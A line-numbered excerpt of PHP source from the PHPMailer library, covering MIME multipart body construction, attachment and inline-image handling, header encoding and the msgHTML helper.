  1664.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1665.                 $body .= $this->LE . $this->LE;
  1666.                 $body .= $this->attachAll('inline', $this->boundary[1]);
  1667.                 break;
  1668.             case 'attach':
  1669.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1670.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1671.                 $body .= $this->LE . $this->LE;
  1672.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1673.                 break;
  1674.             case 'inline_attach':
  1675.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1676.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1677.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1678.                 $body .= $this->LE;
  1679.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  1680.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1681.                 $body .= $this->LE . $this->LE;
  1682.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  1683.                 $body .= $this->LE;
  1684.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1685.                 break;
  1686.             case 'alt':
  1687.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1688.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1689.                 $body .= $this->LE . $this->LE;
  1690.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  1691.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1692.                 $body .= $this->LE . $this->LE;
  1693.                 if (!empty($this->Ical)) {
  1694.                     $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  1695.                     $body .= $this->encodeString($this->Ical, $this->Encoding);
  1696.                     $body .= $this->LE . $this->LE;
  1697.                 }
  1698.                 $body .= $this->endBoundary($this->boundary[1]);
  1699.                 break;
  1700.             case 'alt_inline':
  1701.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1702.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1703.                 $body .= $this->LE . $this->LE;
  1704.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1705.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1706.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1707.                 $body .= $this->LE;
  1708.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1709.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1710.                 $body .= $this->LE . $this->LE;
  1711.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  1712.                 $body .= $this->LE;
  1713.                 $body .= $this->endBoundary($this->boundary[1]);
  1714.                 break;
  1715.             case 'alt_attach':
  1716.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1717.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1718.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1719.                 $body .= $this->LE;
  1720.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1721.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1722.                 $body .= $this->LE . $this->LE;
  1723.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1724.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1725.                 $body .= $this->LE . $this->LE;
  1726.                 $body .= $this->endBoundary($this->boundary[2]);
  1727.                 $body .= $this->LE;
  1728.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1729.                 break;
  1730.             case 'alt_inline_attach':
  1731.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1732.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1733.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1734.                 $body .= $this->LE;
  1735.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1736.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1737.                 $body .= $this->LE . $this->LE;
  1738.                 $body .= $this->textLine('--' . $this->boundary[2]);
  1739.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1740.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  1741.                 $body .= $this->LE;
  1742.                 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  1743.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1744.                 $body .= $this->LE . $this->LE;
  1745.                 $body .= $this->attachAll('inline', $this->boundary[3]);
  1746.                 $body .= $this->LE;
  1747.                 $body .= $this->endBoundary($this->boundary[2]);
  1748.                 $body .= $this->LE;
  1749.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1750.                 break;
  1751.             default:
  1752.                 // catch case 'plain' and case ''
  1753.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1754.                 break;
  1755.         }
  1756.         if ($this->isError()) {
  1757.             $body = '';
  1758.         } elseif ($this->sign_key_file) {
  1759.             try {
  1760.                 if (!defined('PKCS7_TEXT')) {
  1761.                     throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  1762.                 }
  1763.                 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  1764.                 $file = tempnam(sys_get_temp_dir(), 'mail');
  1765.                 if (false === file_put_contents($file, $body)) {
  1766.                     throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  1767.                 }
  1768.                 $signed = tempnam(sys_get_temp_dir(), 'signed');
  1769.                 if (@openssl_pkcs7_sign(
  1770.                     $file,
  1771.                     $signed,
  1772.                     'file://' . realpath($this->sign_cert_file),
  1773.                     array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  1774.                     null
  1775.                 )
  1776.                 ) {
  1777.                     @unlink($file);
  1778.                     $body = file_get_contents($signed);
  1779.                     @unlink($signed);
  1780.                 } else {
  1781.                     @unlink($file);
  1782.                     @unlink($signed);
  1783.                     throw new phpmailerException($this->lang('signing') . openssl_error_string());
  1784.                 }
  1785.             } catch (phpmailerException $exc) {
  1786.                 $body = '';
  1787.                 if ($this->exceptions) {
  1788.                     throw $exc;
  1789.                 }
  1790.             }
  1791.         }
  1792.         return $body;
  1793.     }
  1794.     protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  1795.     {
  1796.         $result = '';
  1797.         if ($charSet == '') {
  1798.             $charSet = $this->CharSet;
  1799.         }
  1800.         if ($contentType == '') {
  1801.             $contentType = $this->ContentType;
  1802.         }
  1803.         if ($encoding == '') {
  1804.             $encoding = $this->Encoding;
  1805.         }
  1806.         $result .= $this->textLine('--' . $boundary);
  1807.         $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  1808.         $result .= $this->LE;
  1809.         // RFC1341 part 5 says 7bit is assumed if not specified
  1810.         if ($encoding != '7bit') {
  1811.             $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  1812.         }
  1813.         $result .= $this->LE;
  1814.         return $result;
  1815.     }
  1816.     protected function endBoundary($boundary)
  1817.     {
  1818.         return $this->LE . '--' . $boundary . '--' . $this->LE;
  1819.     }
  1820.     protected function setMessageType()
  1821.     {
  1822.         $type = array();
  1823.         if ($this->alternativeExists()) {
  1824.             $type[] = 'alt';
  1825.         }
  1826.         if ($this->inlineImageExists()) {
  1827.             $type[] = 'inline';
  1828.         }
  1829.         if ($this->attachmentExists()) {
  1830.             $type[] = 'attach';
  1831.         }
  1832.         $this->message_type = implode('_', $type);
  1833.         if ($this->message_type == '') {
  1834.             $this->message_type = 'plain';
  1835.         }
  1836.     }
  1837.     public function headerLine($name, $value)
  1838.     {
  1839.         return $name . ': ' . $value . $this->LE;
  1840.     }
  1841.     public function textLine($value)
  1842.     {
  1843.         return $value . $this->LE;
  1844.     }
  1845.     public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  1846.     {
  1847.         try {
  1848.             if (!@is_file($path)) {
  1849.                 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  1850.             }
  1851.             // If a MIME type is not specified, try to work it out from the file name
  1852.             if ($type == '') {
  1853.                 $type = self::filenameToType($path);
  1854.             }
  1855.             $filename = basename($path);
  1856.             if ($name == '') {
  1857.                 $name = $filename;
  1858.             }
  1859.             $this->attachment[] = array(
  1860.                 0 => $path,
  1861.                 1 => $filename,
  1862.                 2 => $name,
  1863.                 3 => $encoding,
  1864.                 4 => $type,
  1865.                 5 => false, // isStringAttachment
  1866.                 6 => $disposition,
  1867.                 7 => 0
  1868.             );
  1869.         } catch (phpmailerException $exc) {
  1870.             $this->setError($exc->getMessage());
  1871.             $this->edebug($exc->getMessage());
  1872.             if ($this->exceptions) {
  1873.                 throw $exc;
  1874.             }
  1875.             return false;
  1876.         }
  1877.         return true;
  1878.     }
  1879.     public function getAttachments()
  1880.     {
  1881.         return $this->attachment;
  1882.     }
  1883.     protected function attachAll($disposition_type, $boundary)
  1884.     {
  1885.         // Return text of body
  1886.         $mime = array();
  1887.         $cidUniq = array();
  1888.         $incl = array();
  1889.         // Add all attachments
  1890.         foreach ($this->attachment as $attachment) {
  1891.             // Check if it is a valid disposition_filter
  1892.             if ($attachment[6] == $disposition_type) {
  1893.                 // Check for string attachment
  1894.                 $string = '';
  1895.                 $path = '';
  1896.                 $bString = $attachment[5];
  1897.                 if ($bString) {
  1898.                     $string = $attachment[0];
  1899.                 } else {
  1900.                     $path = $attachment[0];
  1901.                 }
  1902.                 $inclhash = md5(serialize($attachment));
  1903.                 if (in_array($inclhash, $incl)) {
  1904.                     continue;
  1905.                 }
  1906.                 $incl[] = $inclhash;
  1907.                 $name = $attachment[2];
  1908.                 $encoding = $attachment[3];
  1909.                 $type = $attachment[4];
  1910.                 $disposition = $attachment[6];
  1911.                 $cid = $attachment[7];
  1912.                 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
  1913.                     continue;
  1914.                 }
  1915.                 $cidUniq[$cid] = true;
  1916.                 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  1917.                 $mime[] = sprintf(
  1918.                     'Content-Type: %s; name="%s"%s',
  1919.                     $type,
  1920.                     $this->encodeHeader($this->secureHeader($name)),
  1921.                     $this->LE
  1922.                 );
  1923.                 // RFC1341 part 5 says 7bit is assumed if not specified
  1924.                 if ($encoding != '7bit') {
  1925.                     $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  1926.                 }
  1927.                 if ($disposition == 'inline') {
  1928.                     $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  1929.                 }
  1930.                 // If a filename contains any of these chars, it should be quoted,
  1931.                 // but not otherwise: RFC2183 & RFC2045 5.1
  1932.                 // Fixes a warning in IETF's msglint MIME checker
  1933.                 // Allow for bypassing the Content-Disposition header totally
  1934.                 if (!(empty($disposition))) {
  1935.                     $encoded_name = $this->encodeHeader($this->secureHeader($name));
  1936.                     if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  1937.                         $mime[] = sprintf(
  1938.                             'Content-Disposition: %s; filename="%s"%s',
  1939.                             $disposition,
  1940.                             $encoded_name,
  1941.                             $this->LE . $this->LE
  1942.                         );
  1943.                     } else {
  1944.                         $mime[] = sprintf(
  1945.                             'Content-Disposition: %s; filename=%s%s',
  1946.                             $disposition,
  1947.                             $encoded_name,
  1948.                             $this->LE . $this->LE
  1949.                         );
  1950.                     }
  1951.                 } else {
  1952.                     $mime[] = $this->LE;
  1953.                 }
  1954.                 // Encode as string attachment
  1955.                 if ($bString) {
  1956.                     $mime[] = $this->encodeString($string, $encoding);
  1957.                     if ($this->isError()) {
  1958.                         return '';
  1959.                     }
  1960.                     $mime[] = $this->LE . $this->LE;
  1961.                 } else {
  1962.                     $mime[] = $this->encodeFile($path, $encoding);
  1963.                     if ($this->isError()) {
  1964.                         return '';
  1965.                     }
  1966.                     $mime[] = $this->LE . $this->LE;
  1967.                 }
  1968.             }
  1969.         }
  1970.         $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  1971.         return implode('', $mime);
  1972.     }
  1973.     protected function encodeFile($path, $encoding = 'base64')
  1974.     {
  1975.         try {
  1976.             if (!is_readable($path)) {
  1977.                 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  1978.             }
  1979.             $magic_quotes = get_magic_quotes_runtime();
  1980.             if ($magic_quotes) {
  1981.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1982.                     set_magic_quotes_runtime(false);
  1983.                 } else {
  1984.                     ini_set('magic_quotes_runtime', 0);
  1985.                 }
  1986.             }
  1987.             $file_buffer = file_get_contents($path);
  1988.             $file_buffer = $this->encodeString($file_buffer, $encoding);
  1989.             if ($magic_quotes) {
  1990.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1991.                     set_magic_quotes_runtime($magic_quotes);
  1992.                 } else {
  1993.                     ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
  1994.                 }
  1995.             }
  1996.             return $file_buffer;
  1997.         } catch (Exception $exc) {
  1998.             $this->setError($exc->getMessage());
  1999.             return '';
  2000.         }
  2001.     }
  2002.     public function encodeString($str, $encoding = 'base64')
  2003.     {
  2004.         $encoded = '';
  2005.         switch (strtolower($encoding)) {
  2006.             case 'base64':
  2007.                 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2008.                 break;
  2009.             case '7bit':
  2010.             case '8bit':
  2011.                 $encoded = $this->fixEOL($str);
  2012.                 // Make sure it ends with a line break
  2013.                 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2014.                     $encoded .= $this->LE;
  2015.                 }
  2016.                 break;
  2017.             case 'binary':
  2018.                 $encoded = $str;
  2019.                 break;
  2020.             case 'quoted-printable':
  2021.                 $encoded = $this->encodeQP($str);
  2022.                 break;
  2023.             default:
  2024.                 $this->setError($this->lang('encoding') . $encoding);
  2025.                 break;
  2026.         }
  2027.         return $encoded;
  2028.     }
  2029.     public function encodeHeader($str, $position = 'text')
  2030.     {
  2031.         $matchcount = 0;
  2032.         switch (strtolower($position)) {
  2033.             case 'phrase':
  2034.                 if (!preg_match('/[\200-\377]/', $str)) {
  2035.                     // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2036.                     $encoded = addcslashes($str, "\0..\37\177\\\"");
  2037.                     if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2038.                         return ($encoded);
  2039.                     } else {
  2040.                         return ("\"$encoded\"");
  2041.                     }
  2042.                 }
  2043.                 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2044.                 break;
  2045.             /** @noinspection PhpMissingBreakStatementInspection */
  2046.             case 'comment':
  2047.                 $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2048.                 // Intentional fall-through
  2049.             case 'text':
  2050.             default:
  2051.                 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2052.                 break;
  2053.         }
  2054.         if ($matchcount == 0) { // There are no chars that need encoding
  2055.             return ($str);
  2056.         }
  2057.         $maxlen = 75 - 7 - strlen($this->CharSet);
  2058.         // Try to select the encoding which should produce the shortest output
  2059.         if ($matchcount > strlen($str) / 3) {
  2060.             // More than a third of the content will need encoding, so B encoding will be most efficient
  2061.             $encoding = 'B';
  2062.             if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2063.                 $encoded = $this->base64EncodeWrapMB($str, "\n");
  2064.             } else {
  2065.                 $encoded = base64_encode($str);
  2066.                 $maxlen -= $maxlen % 4;
  2067.                 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2068.             }
  2069.         } else {
  2070.             $encoding = 'Q';
  2071.             $encoded = $this->encodeQ($str, $position);
  2072.             $encoded = $this->wrapText($encoded, $maxlen, true);
  2073.             $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  2074.         }
  2075.         $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  2076.         $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2077.         return $encoded;
  2078.     }
  2079.  
  2080.     public function hasMultiBytes($str)
  2081.     {
  2082.         if (function_exists('mb_strlen')) {
  2083.             return (strlen($str) > mb_strlen($str, $this->CharSet));
  2084.         } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2085.             return false;
  2086.         }
  2087.     }
  2088.  
  2089.     public function has8bitChars($text)
  2090.     {
  2091.         return (boolean)preg_match('/[\x80-\xFF]/', $text);
  2092.     }
  2093.  
  2094.     public function base64EncodeWrapMB($str, $linebreak = null)
  2095.     {
  2096.         $start = '=?' . $this->CharSet . '?B?';
  2097.         $end = '?=';
  2098.         $encoded = '';
  2099.         if ($linebreak === null) {
  2100.             $linebreak = $this->LE;
  2101.         }
  2102.         $mb_length = mb_strlen($str, $this->CharSet);
  2103.         // Each line must have length <= 75, including $start and $end
  2104.         $length = 75 - strlen($start) - strlen($end);
  2105.         // Average multi-byte ratio
  2106.         $ratio = $mb_length / strlen($str);
  2107.         // Base64 has a 4:3 ratio
  2108.         $avgLength = floor($length * $ratio * .75);
  2109.         for ($i = 0; $i < $mb_length; $i += $offset) {
  2110.             $lookBack = 0;
  2111.             do {
  2112.                 $offset = $avgLength - $lookBack;
  2113.                 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2114.                 $chunk = base64_encode($chunk);
  2115.                 $lookBack++;
  2116.             } while (strlen($chunk) > $length);
  2117.             $encoded .= $chunk . $linebreak;
  2118.         }
  2119.         // Chomp the last linefeed
  2120.         $encoded = substr($encoded, 0, -strlen($linebreak));
  2121.         return $encoded;
  2122.     }
  2123.  
  2124.     public function encodeQP($string, $line_max = 76)
  2125.     {
  2126.         if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
  2127.             return $this->fixEOL(quoted_printable_encode($string));
  2128.         }
  2129.         // Fall back to a pure PHP implementation
  2130.         $string = str_replace(
  2131.             array('%20', '%0D%0A.', '%0D%0A', '%'),
  2132.             array(' ', "\r\n=2E", "\r\n", '='),
  2133.             rawurlencode($string)
  2134.         );
  2135.         $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  2136.         return $this->fixEOL($string);
  2137.     }
  2138.  
  2139.     public function encodeQPphp(
  2140.         $string,
  2141.         $line_max = 76,
  2142.         /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  2143.     ) {
  2144.         return $this->encodeQP($string, $line_max);
  2145.     }
  2146.  
  2147.     public function encodeQ($str, $position = 'text')
  2148.     {
  2149.         // There should not be any EOL in the string
  2150.         $pattern = '';
  2151.         $encoded = str_replace(array("\r", "\n"), '', $str);
  2152.         switch (strtolower($position)) {
  2153.             case 'phrase':
  2154.                 // RFC 2047 section 5.3
  2155.                 $pattern = '^A-Za-z0-9!*+\/ -';
  2156.                 break;
  2157.             /** @noinspection PhpMissingBreakStatementInspection */
  2158.             case 'comment':
  2159.                 // RFC 2047 section 5.2
  2160.                 $pattern = '\(\)"';
  2161.             case 'text':
  2162.             default:
  2163.                 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  2164.                 break;
  2165.         }
  2166.         $matches = array();
  2167.         if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2168.             $eqkey = array_search('=', $matches[0]);
  2169.             if (false !== $eqkey) {
  2170.                 unset($matches[0][$eqkey]);
  2171.                 array_unshift($matches[0], '=');
  2172.             }
  2173.             foreach (array_unique($matches[0]) as $char) {
  2174.                 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2175.             }
  2176.         }
  2177.         // Replace every spaces to _ (more readable than =20)
  2178.         return str_replace(' ', '_', $encoded);
  2179.     }
  2180.  
  2181.     public function addStringAttachment(
  2182.         $string,
  2183.         $filename,
  2184.         $encoding = 'base64',
  2185.         $type = '',
  2186.         $disposition = 'attachment'
  2187.     ) {
  2188.         // If a MIME type is not specified, try to work it out from the file name
  2189.         if ($type == '') {
  2190.             $type = self::filenameToType($filename);
  2191.         }
  2192.         // Append to $attachment array
  2193.         $this->attachment[] = array(
  2194.             0 => $string,
  2195.             1 => $filename,
  2196.             2 => basename($filename),
  2197.             3 => $encoding,
  2198.             4 => $type,
  2199.             5 => true, // isStringAttachment
  2200.             6 => $disposition,
  2201.             7 => 0
  2202.         );
  2203.     }
  2204.     public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  2205.     {
  2206.         if (!@is_file($path)) {
  2207.             $this->setError($this->lang('file_access') . $path);
  2208.             return false;
  2209.         }
  2210.         // If a MIME type is not specified, try to work it out from the file name
  2211.         if ($type == '') {
  2212.             $type = self::filenameToType($path);
  2213.         }
  2214.         $filename = basename($path);
  2215.         if ($name == '') {
  2216.             $name = $filename;
  2217.         }
  2218.         // Append to $attachment array
  2219.         $this->attachment[] = array(
  2220.             0 => $path,
  2221.             1 => $filename,
  2222.             2 => $name,
  2223.             3 => $encoding,
  2224.             4 => $type,
  2225.             5 => false, // isStringAttachment
  2226.             6 => $disposition,
  2227.             7 => $cid
  2228.         );
  2229.         return true;
  2230.     }
  2231.  
  2232.     public function addStringEmbeddedImage(
  2233.         $string,
  2234.         $cid,
  2235.         $name = '',
  2236.         $encoding = 'base64',
  2237.         $type = '',
  2238.         $disposition = 'inline'
  2239.     ) {
  2240.         // If a MIME type is not specified, try to work it out from the name
  2241.         if ($type == '') {
  2242.             $type = self::filenameToType($name);
  2243.         }
  2244.         // Append to $attachment array
  2245.         $this->attachment[] = array(
  2246.             0 => $string,
  2247.             1 => $name,
  2248.             2 => $name,
  2249.             3 => $encoding,
  2250.             4 => $type,
  2251.             5 => true, // isStringAttachment
  2252.             6 => $disposition,
  2253.             7 => $cid
  2254.         );
  2255.         return true;
  2256.     }
  2257.     public function inlineImageExists()
  2258.     {
  2259.         foreach ($this->attachment as $attachment) {
  2260.             if ($attachment[6] == 'inline') {
  2261.                 return true;
  2262.             }
  2263.         }
  2264.         return false;
  2265.     }
  2266.     public function attachmentExists()
  2267.     {
  2268.         foreach ($this->attachment as $attachment) {
  2269.             if ($attachment[6] == 'attachment') {
  2270.                 return true;
  2271.             }
  2272.         }
  2273.         return false;
  2274.     }
  2275.     public function alternativeExists()
  2276.     {
  2277.         return !empty($this->AltBody);
  2278.     }
  2279.     public function clearAddresses()
  2280.     {
  2281.         foreach ($this->to as $to) {
  2282.             unset($this->all_recipients[strtolower($to[0])]);
  2283.         }
  2284.         $this->to = array();
  2285.     }
  2286.     public function clearCCs()
  2287.     {
  2288.         foreach ($this->cc as $cc) {
  2289.             unset($this->all_recipients[strtolower($cc[0])]);
  2290.         }
  2291.         $this->cc = array();
  2292.     }
  2293.     public function clearBCCs()
  2294.     {
  2295.         foreach ($this->bcc as $bcc) {
  2296.             unset($this->all_recipients[strtolower($bcc[0])]);
  2297.         }
  2298.         $this->bcc = array();
  2299.     }
  2300.     public function clearReplyTos()
  2301.     {
  2302.         $this->ReplyTo = array();
  2303.     }
  2304.  
  2305.     public function clearAllRecipients()
  2306.     {
  2307.         $this->to = array();
  2308.         $this->cc = array();
  2309.         $this->bcc = array();
  2310.         $this->all_recipients = array();
  2311.     }
  2312.     public function clearAttachments()
  2313.     {
  2314.         $this->attachment = array();
  2315.     }
  2316.     public function clearCustomHeaders()
  2317.     {
  2318.         $this->CustomHeader = array();
  2319.     }
  2320.     protected function setError($msg)
  2321.     {
  2322.         $this->error_count++;
  2323.         if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  2324.             $lasterror = $this->smtp->getError();
  2325.             if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
  2326.                 $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
  2327.             }
  2328.         }
  2329.         $this->ErrorInfo = $msg;
  2330.     }
  2331.     public static function rfcDate()
  2332.     {
  2333.         // Set the time zone to whatever the default is to avoid 500 errors
  2334.         // Will default to UTC if it's not set properly in php.ini
  2335.         date_default_timezone_set(@date_default_timezone_get());
  2336.         return date('D, j M Y H:i:s O');
  2337.     }
  2338.     protected function serverHostname()
  2339.     {
  2340.         $result = 'localhost.localdomain';
  2341.         if (!empty($this->Hostname)) {
  2342.             $result = $this->Hostname;
  2343.         } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  2344.             $result = $_SERVER['SERVER_NAME'];
  2345.         } elseif (function_exists('gethostname') && gethostname() !== false) {
  2346.             $result = gethostname();
  2347.         } elseif (php_uname('n') !== false) {
  2348.             $result = php_uname('n');
  2349.         }
  2350.         return $result;
  2351.     }
  2352.     protected function lang($key)
  2353.     {
  2354.         if (count($this->language) < 1) {
  2355.             $this->setLanguage('en'); // set the default language
  2356.         }
  2357.         if (isset($this->language[$key])) {
  2358.             return $this->language[$key];
  2359.         } else {
  2360.             return 'Language string failed to load: ' . $key;
  2361.         }
  2362.     }
  2363.     public function isError()
  2364.     {
  2365.         return ($this->error_count > 0);
  2366.     }
  2367.     public function fixEOL($str)
  2368.     {
  2369.         // Normalise to \n
  2370.         $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  2371.         // Now convert LE as needed
  2372.         if ($this->LE !== "\n") {
  2373.             $nstr = str_replace("\n", $this->LE, $nstr);
  2374.         }
  2375.         return $nstr;
  2376.     }
  2377.  
  2378.     public function addCustomHeader($name, $value = null)
  2379.     {
  2380.         if ($value === null) {
  2381.             // Value passed in as name:value
  2382.             $this->CustomHeader[] = explode(':', $name, 2);
  2383.         } else {
  2384.             $this->CustomHeader[] = array($name, $value);
  2385.         }
  2386.     }
  2387.     public function msgHTML($message, $basedir = '', $advanced = false)
  2388.     {
  2389.         preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  2390.         if (isset($images[2])) {
  2391.             foreach ($images[2] as $imgindex => $url) {
  2392.                 // Convert data URIs into embedded images
  2393.                 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  2394.                     $data = substr($url, strpos($url, ','));
  2395.                     if ($match[2]) {
  2396.                         $data = base64_decode($data);
  2397.                     } else {
  2398.                         $data = rawurldecode($data);
  2399.                     }
  2400.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2401.                     if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
  2402.                         $message = str_replace(
  2403.                             $images[0][$imgindex],
  2404.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  2405.                             $message
  2406.                         );
  2407.                     }
  2408.                 } elseif (!preg_match('#^[A-z]+://#', $url)) {
  2409.                     // Do not change urls for absolute images (thanks to corvuscorax)
  2410.                     $filename = basename($url);
  2411.                     $directory = dirname($url);
  2412.                     if ($directory == '.') {
  2413.                         $directory = '';
  2414.                     }
  2415.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2416.                     if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  2417.                         $basedir .= '/';
  2418.                     }
  2419.                     if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  2420.                         $directory .= '/';
  2421.                     }
  2422.                     if ($this->addEmbeddedImage(
  2423.                         $basedir . $directory . $filename,
  2424.                         $cid,
  2425.                         $filename,
  2426.                         'base64',
  2427.                         self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  2428.                     )
  2429.                     ) {
  2430.                         $message = preg_replace(
  2431.                             '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  2432.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  2433.                             $message
  2434.                         );
  2435.                     }
  2436.                 }
  2437.             }
  2438.         }
  2439.         $this->isHTML(true);
  2440.         // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  2441.         $this->Body = $this->normalizeBreaks($message);
  2442.         $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  2443.         if (empty($this->AltBody)) {
  2444.             $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  2445.                 self::CRLF . self::CRLF;
  2446.         }
  2447.         return $this->Body;
  2448.     }
  2449.  
  2450.     public function html2text($html, $advanced = false)
  2451.     {
  2452.         if (is_callable($advanced)) {
  2453.             return call_user_func($advanced, $html);
  2454.         }
  2455.         return html_entity_decode(
  2456.             trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  2457.             ENT_QUOTES,
  2458.             $this->CharSet
  2459.         );
  2460.     }
  2461.  
  2462.     public static function _mime_types($ext = '')
  2463.     {
  2464.         $mimes = array(
  2465.             'xl'    => 'application/excel',
  2466.             'js'    => 'application/javascript',
  2467.             'hqx'   => 'application/mac-binhex40',
  2468.             'cpt'   => 'application/mac-compactpro',
  2469.             'bin'   => 'application/macbinary',
  2470.             'doc'   => 'application/msword',
  2471.             'word'  => 'application/msword',
  2472.             'class' => 'application/octet-stream',
  2473.             'dll'   => 'application/octet-stream',
  2474.             'dms'   => 'application/octet-stream',
  2475.             'exe'   => 'application/octet-stream',
  2476.             'lha'   => 'application/octet-stream',
  2477.             'lzh'   => 'application/octet-stream',
  2478.             'psd'   => 'application/octet-stream',
  2479.             'sea'   => 'application/octet-stream',
  2480.             'so'    => 'application/octet-stream',
  2481.             'oda'   => 'application/oda',
